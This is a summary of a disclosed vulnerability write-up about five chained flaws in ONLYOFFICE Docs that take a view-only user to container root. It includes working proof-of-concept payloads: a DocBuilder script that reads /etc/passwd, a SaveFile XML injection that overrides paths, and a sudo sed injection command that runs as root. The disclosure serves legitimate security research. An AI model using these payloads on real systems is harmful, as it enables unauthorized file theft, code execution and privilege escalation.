# From view-only access to container root: five vulnerabilities in ONLYOFFICE Docs

View-only ONLYOFFICE Docs users chained DocBuilder JWT confusion, SaveFile XML injection, path traversal and a sudo sed injection to reach container root.

- Payout: Research
- Severity: high
- Program: ONLYOFFICE Docs
- Found by (vendor credit): Jonah Burgess (Cryptocat), Senior Security Researcher, Rapid7
- Write-up by: Jonah Burgess
- Disclosed: 2026-11-16
- CVE: CVE-2026-113627, CVE-2026-110385, CVE-2026-97727, CVE-2026-113630, CVE-2026-113631
- Write-up quality: 9/10
- Original: https://www.rapid7.com/blog/post/ve-from-view-only-access-to-container-root-five-vulnerabilities-in-onlyoffice-docs-fixed
- Library page: https://bugbountylibrary.com/r/blog%3Arapid7-com-blog-post-ve-from-view-only-access-to-container-root-five-vulnerabilities-in-onlyoffice-docs-fixed
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:threat-intel sev:high tech:nodejs technique:chained technique:source-review vuln:auth-bypass vuln:command-injection vuln:info-disclosure vuln:path-traversal vuln:privilege-escalation

**Target:** /docbuilder, /downloadas, Socket.IO, sudo helper script
**Root cause:** Browser and Inbox JWTs share one signing key so a view-only Editor JWT authorizes /docbuilder; SaveFile appends caller XML to X2T task, letting duplicate m_sFileFrom/m_sFileTo/m_nFormatFrom/m_nFormatTo override paths and select zip2dir extraction; SAVE_TYPE_COMPLETE_ALL skips basename normalization; sudoers grants ds passwordless root on documentserver-flush-cache.sh whose --hash is interpolated into sed.
**Steps:**
1. POST /docbuilder?token=VIEW_ONLY_EDITOR_JWT with a DocBuilder script calling `native.GetFontBinary("/etc/passwd")` and hex-encoding bytes into a saved docx to read files as ds.
2. Repeat to read /etc/onlyoffice/documentserver/local.json and extract services.CoAuthoring.secret.session.string.
3. Forge an HMAC-SHA256 Session JWT with chosen document key and permissions; submit SAVE_TYPE_PART_START to get a save key.
4. Stage an outer ZIP via `native.ZipOpenBase64` and `native.SetFilePath("/tmp/r7-NONCE-placeholder")` so inner ZIP lands at /tmp/nativeZip/r7-NONCE.zip.
5. Call `builder.SaveFile("docx","safe.docx","<m_sFileFrom>/tmp/nativeZip/r7-NONCE.zip</m_sFileFrom><m_sFileTo>/var/www/onlyoffice/Data</m_sFileTo><m_nFormatFrom>2057</m_nFormatFrom><m_nFormatTo>0</m_nFormatTo>")` to extract appender JS, command script and runtime.json into Data.
6. DocService runtimeConfigManager reloads runtime.json and log4js require()s the appender, executing the command as ds.
7. Run `sudo /usr/bin/documentserver-flush-cache.sh --hash "';id > \/tmp\/r7-root;#'/e;#" --restart false` to execute as root via sed e flag.
8. Alternatively use /downloadas/ignored with SAVE_TYPE_COMPLETE_ALL and `format` containing `/../../` to write arbitrary files as ds.
**How found:** Code review of ONLYOFFICE/server, core and document-server-package diffs between 9.4.0.129 and 10.0.0.169; noticed getTenantSecret returns same key for Browser and Inbox, builderRequest delegates to getRequestParams without purpose binding, SaveFile appends raw XML after encoded fields, SAVE_TYPE_COMPLETE_ALL skips basename, and sudoers wildcard on flush-cache script.
**Exploitation:** Attacker with view-only Editor JWT (or unauthenticated WOPI launch with empty access_token and trailing-slash WOPISrc) submits DocBuilder scripts. GetFontBinary reads server files including the Session JWT key, enabling forged save credentials. SaveFile parameter injection extracts attacker ZIP into /var/www/onlyoffice/Data, writing runtime.json and a log4js appender that DocService loads, executing commands as ds. The sudo helper sed injection then escalates to root. Separately, a view-only Session JWT reconnect with replaced callbackUrl plus rpc/sendForm exfiltrates reconstructed DOCX with hidden customXml, custom properties and field instructions.
**Escalation:** Chains JWT key theft -> forged session -> arbitrary file write -> log4js appender RCE as ds -> sudo sed injection to root; WOPI empty-token path gives unauthenticated entry.
**Insight:** When two token types share a signing key, check whether each consumer validates token purpose/claims, not just signature; and in XML task builders, duplicate element names that overwrite earlier values are a path-override primitive.

## Proof of concept (copied exactly from the original report)

**DocBuilder script reading /etc/passwd via GetFontBinary**

```
POST /docbuilder?token=VIEW_ONLY_EDITOR_JWT HTTP/1.1
Host: docs.example.test
Content-Type: application/octet-stream

builder.CreateFile("docx");
var bytes = native.GetFontBinary("/etc/passwd");
if (bytes === null || typeof bytes === "undefined") throw new Error("read failed");
var hex = "";
for (var i = 0; i < bytes.length; i++)
    hex += ("0" + bytes[i].toString(16)).slice(-2);
var paragraph = Api.CreateParagraph();
paragraph.AddText("R7FILE:" + hex + ":END");
Api.GetDocument().Push(paragraph);
builder.SaveFile("docx", "stolen.docx");
builder.CloseFile();
```

**SaveFile conversion parameter injection payload**

```
builder.SaveFile(
 "docx",
 "safe.docx",
 "<m_sFileFrom>/tmp/nativeZip/r7-NONCE.zip</m_sFileFrom>" +
 "<m_sFileTo>/var/www/onlyoffice/Data</m_sFileTo>" +
 "<m_nFormatFrom>2057</m_nFormatFrom><m_nFormatTo>0</m_nFormatTo>"
);
builder.CloseFile();
```

**Root helper sed injection via --hash**

```
sudo /usr/bin/documentserver-flush-cache.sh \
    --hash "';id > \/tmp\/r7-root;#'/e;#" \
    --restart false
cat /tmp/r7-root
uid=0(root) gid=0(root) groups=0(root)
```

